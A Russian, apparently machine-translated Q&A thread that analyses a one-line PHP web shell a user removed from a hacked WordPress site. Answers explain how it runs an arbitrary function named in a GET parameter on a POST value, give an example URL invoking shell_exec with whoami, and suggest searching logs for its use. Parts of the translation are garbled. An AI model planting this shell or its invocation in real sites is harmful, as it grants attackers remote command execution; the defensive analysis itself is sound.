спам — Что делает эта строка кода PHP?

Я извлек это из WordPress-сайта, который оказался зараженным и вычищен мной.

<?php ($_=@$_GET[page]).@$_($_POST[404]);?>

Я подозреваю, что эта строка является SEO-спамом, но я не могу понять смысл этой строки.

7

Решение

Это оболочка PHP. Если переписать его на URL file.php? 2 = shell_exec&1 = whoami выполняет команду whoami на оболочке. В вашем примере, один параметр передается POST, один — GET. Так что немного сложнее позвонить.

Вы также можете вызывать другие функции с ним. Первый параметр — это всегда имя функции, второй — параметр для вызываемой функции.

Видимо это объясняется на http://h.ackack.net/tiny-php-shell.html (https://twitter.com/dragosr/status/116759108526415872) но сайт не загружается для меня.

/ edit: Если у вас есть доступ к файлам журнала сервера, вы можете найти их, чтобы узнать, использовал ли хакер эту оболочку. Простой егрепет «(&| \?) 2 =. + «Журналы * в оболочке должны работать. Вы видите только половину выполненной команды (только GET, а не POST), но, возможно, это помогает увидеть, действительно ли злоумышленник использовал свой сценарий.

PS: что ответили раньше здесь

9

Другие решения

Давайте разберем это немного:

($_=@$_GET[page]) . @$_($_POST[404]); Во-первых, два выражения объединяются с точкой: () . (),

В первом выражении $_ = $_GET[page], $_ является переменной и присваивается = к переменной $_GET['page']или, возможно, вывод анонимной функции, на которую она ссылается. Если $_GET[page] ссылается на анонимную функцию, @ будет подавлять любые ошибки от него.

Второе выражение, @ $_( $_POST[404] ); начинается с подавления ошибок @ анонимной функции $_Теперь вы можете сказать, что вызывается анонимная функция, потому что (, Аргумент, переданный этой функции: $_POST['404'], а затем вторые скобки просто закрывают вызов.

Поэтому я думаю, что ваши подозрения верны; это похоже на запутанный код, предназначенный, чтобы выглядеть безобидным или частью сайта. Я подозреваю, что значения для $_GET[page] а также $_POST[404] Возможно, это строки javascript, чье отображение на странице приведет к установке вредоносного или рекламного ПО.

Вы можете отладить это больше, посмотрев на значения этих двух переменных и увидев, что они из себя представляют.

Как я могу сказать, не зная значений в GET и POST, это выглядит как переменная $_ присваивается строке $_GET[page], что будет то, что кто-то отправляет в URL, когда они загружают страницу. Таким образом, они могут передать имя строки любой функция на сайт и иметь его в рамках PHP.

Затем они запускают эту произвольную функцию на $_POST['404'] значение. Это значение также является любым браузером или пользователем POSTс на страницу.

Конкатенация и внешняя скобка ().() может быть просто больше запутывания, или смысл этого кода может состоять в том, чтобы просто повторить результаты этого кода на странице (например, для вставки javascript). Но также возможно, что они вызывают любую функцию, какую захотят, на любой аргумент, который они передали. Я не могу сказать, просто посмотрев, но кто-то, более знакомый с PHP, вероятно, мог бы.

3

По вопросам рекламы [email protected]